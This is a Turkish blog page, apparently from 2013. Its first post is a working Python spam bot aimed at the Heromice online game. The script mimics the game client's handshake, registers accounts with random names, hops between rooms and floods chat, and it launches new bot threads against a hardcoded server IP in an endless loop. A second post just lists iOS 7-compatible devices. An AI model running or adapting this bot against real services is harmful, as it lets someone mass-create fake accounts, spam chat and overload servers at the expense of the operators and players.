16 Ekim 2013 Çarşamba
Heromice !
# coding: utf-8
from socket import *
from struct import *
import random
import hashlib
import time
import threading
room = ["1", "2"]
#
site = "http://www.heromice.com/games/HeromiceSer1.swf?d=1377866890086t"
sallagitsin = "fh2Vy7FkMQjN1NbX8Y4Hl+pR9bKSFFk9iQs/mvSNg50="
class PrefixGen:
def __init__(self, data):
self.MDT = []
self.data = data
self.data = self.data.replace('\x00','')
message = self.data.split('\x01')
LCMDT = list(message[2])
for c in map(int, LCMDT):
if c == 0: self.MDT.append(chr(10))
else: self.MDT.append(chr(c))
self.CMDTEC = int(message[3])
def __call__(self):
final = ""
loc_2 = map(int, list(str(self.CMDTEC%9000 + 1000)))
final = ''.join([self.MDT[x] for x in loc_2])
self.CMDTEC += 1
return final
class spambot(threading.Thread):
def generateusername(self, length = 10):
abc = list("abcdefghijklmnopqrstuvwxyz")
name = ""
length = "0"*length
for lengths in length: name +=random.choice(abc)
return name
def generateusernames(self, length = 199):
abc = list("abcdefghijklmnopqrstuvwxyz")
name = ""
length = "0"*length
for lengths in length: name +=random.choice(abc)
return name
def sendkey(self):
try:
com = "\x00\x00\x00\x00\x1C\x01\x00\x4F\x00\x0F\x70\x78\x6B\x6F\x79\x69\x6C\x74\x63\x66\x62\x7A\x36\x39\x36\x17\xED\x00\x07\x41\x63\x74\x69\x76\x65\x58\x00\xA4\x35\x2E\x30\x20\x28\x63\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x3B\x20\x4D\x53\x49\x45\x20\x31\x30\x2E\x30\x3B\x20\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x36\x2E\x32\x3B\x20\x54\x72\x69\x64\x65\x6E\x74\x2F\x36\x2E\x30\x3B\x20\x2E\x4E\x45\x54\x34\x2E\x30\x45\x3B\x20\x2E\x4E\x45\x54\x34\x2E\x30\x43\x3B\x20\x2E\x4E\x45\x54\x20\x43\x4C\x52\x20\x33\x2E\x35\x2E\x33\x30\x37\x32\x39\x3B\x20\x2E\x4E\x45\x54\x20\x43\x4C\x52\x20\x32\x2E\x30\x2E\x35\x30\x37\x32\x37\x3B\x20\x2E\x4E\x45\x54\x20\x43\x4C\x52\x20\x33\x2E\x30\x2E\x33\x30\x37\x32\x39\x29\x2D\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x45\x78\x70\x6C\x6F\x72\x65\x72\x00\x00\x00\x40\x30\x36\x33\x33\x65\x65\x63\x33\x39\x32\x30\x33\x33\x32\x32\x32\x64\x64\x34\x30\x39\x37\x35\x65\x36\x30\x38\x61\x66\x31\x30\x37\x65\x66\x36\x30\x35\x61\x65\x34\x38\x61\x64\x36\x32\x66\x34\x34\x33\x31\x39\x32\x63\x37\x65\x66\x35\x33\x66\x37\x32\x61\x65\x64\x00\xD9\x41\x3D\x74\x26\x53\x41\x3D\x74\x26\x53\x56\x3D\x74\x26\x45\x56\x3D\x74\x26\x4D\x50\x33\x3D\x74\x26\x41\x45\x3D\x74\x26\x56\x45\x3D\x74\x26\x41\x43\x43\x3D\x74\x26\x50\x52\x3D\x74\x26\x53\x50\x3D\x66\x26\x53\x42\x3D\x66\x26\x44\x45\x42\x3D\x66\x26\x56\x3D\x57\x49\x4E\x20\x31\x31\x2C\x38\x2C\x38\x30\x30\x2C\x39\x34\x26\x4D\x3D\x41\x64\x6F\x62\x65\x20\x57\x69\x6E\x64\x6F\x77\x73\x26\x52\x3D\x31\x32\x38\x30\x78\x38\x30\x30\x26\x43\x4F\x4C\x3D\x63\x6F\x6C\x6F\x72\x26\x41\x52\x3D\x31\x2E\x30\x26\x4F\x53\x3D\x57\x69\x6E\x64\x6F\x77\x73\x20\x38\x26\x41\x52\x43\x48\x3D\x78\x38\x36\x26\x4C\x3D\x74\x72\x26\x49\x4D\x45\x3D\x74\x26\x50\x52\x33\x32\x3D\x74\x26\x50\x52\x36\x34\x3D\x66\x26\x50\x54\x3D\x41\x63\x74\x69\x76\x65\x58\x26\x41\x56\x44\x3D\x66\x26\x4C\x46\x44\x3D\x66\x26\x57\x44\x3D\x66\x26\x54\x4C\x53\x3D\x74\x26\x4D\x4C\x3D\x35\x2E\x31\x26\x44\x50\x3D\x37\x32"
self.m.send(pack("!l", len(com)+4)+com)
#kikoo = self.m.recv(4096)
d = self.m.recv(8192).split("\x1a\x1b")[1]
firstpck = d.split("\x01")
community = firstpck[4].replace("\x00", "")
mdt = firstpck[3]
cmdtec = firstpck[2]
online = firstpck[1]
print "Mice online - %s\nCommunity - %s"%(online, community.upper())
self.perefix = PrefixGen(d)
com = self.perefix()+self.PacketCodes["community"]+"\x06" #Dil
self.m.send(pack("!l", len(com)+4)+com)
print "Community send... True"
except:
pass
def login(self, type = "Registration"):
try:
self.type = type
if self.type == "Registration":
com = "\x1A\x03\x01%s\x01%s\x01%s"%(self.username, hashlib.sha256(self.settings["password"].encode('utf-8')).hexdigest(), site)
com = self.perefix()+self.PacketCodes["old"]+pack("!h", len(com))+com
self.m.send(pack("!l", len(com)+4)+com)
print "Logging in... True\nRoom [Tutorial]-"+self.username
print "Type of spam - %s"%(self.type)
except:
pass
def roomchange(self):
try:
room = random.choice(self.settings["rooms"])
com = "\x06\x1A\x01room "+room
com = self.perefix()+self.PacketCodes["old"]+pack("!h", len(com))+com
self.m.send(pack("!l", len(com)+4)+com)
print "New room - %s"%(room)
except:
pass
def chat(self, message = ""):
try:
if message == "": message = self.settings["message"]
com = self.perefix()+self.PacketCodes["chat"]+pack("!h", len(message))+message
self.m.send(pack("!l", len(com)+4)+com)
except:
pass
def chatspam(self):
try:
while self.isSpamming:
print "Chat Spamming... True"
self.chat()
if self.msgss == self.settings["messagelens"]: self.isSpamming = False
self.msgss +=1
else:
print "Exit... True"
self.m.shutdown(0)
except:
pass
def __init__(self, ip, port):
try:
self.usernames = self.generateusernames()
self.isSpamming = True
self.msgss = 0
self.PacketCodes = {"old":"\x0e\x0e", "community":"f\x03 ", "chat":"))"}
self.settings = {"password":"s82ea0482165f95bf71e17b1a6c13d1b10661862d9b23f14866b55d8df638bf8", "message":self.usernames, "messagelens":0, "rooms":["1", "2", "3", "4", "5", "6", "7", "8", "9", "racing1", "survivor1", "defilante1", "baffbotffa1", "bootcamp1", "vanilla1"]}
print "SPAMBOT"
self.m = socket(AF_INET, SOCK_STREAM)
print "Creating socket... True"
address = (ip, port)
self.m.connect(address)
print "Connecting socket... True\n[DEBUG] IP %s; Port %s"%(ip, port)
self.username = self.generateusername()
print "Username generated... True\n[DEBUG] Username %s"%(self.username)
print "Sending key... True"
self.sendkey()
print "Calling login()... True"
self.login()
self.roomchange()
self.chat()
threading.Thread.__init__(self)
except:
pass
while True:
spambot("89.19.19.202", 44444).start()
14 Ekim 2013 Pazartesi
İos 7
İOS 7 TÜM DÜNYA İLE YAZILIM GÜNCELEMESİNE GİRDİ
İOS 7 DESTEKLEYEN CİHAZLAR
IPHONE 4
IPHONE4S
IPHONE 5
IPHONE 5S
IPHONE 5C
IPAD RETİNA
IPAD MİNİ
IPAD 2
IPOD TOUCH 5.NESİL
Kaydol:
Kayıtlar (Atom)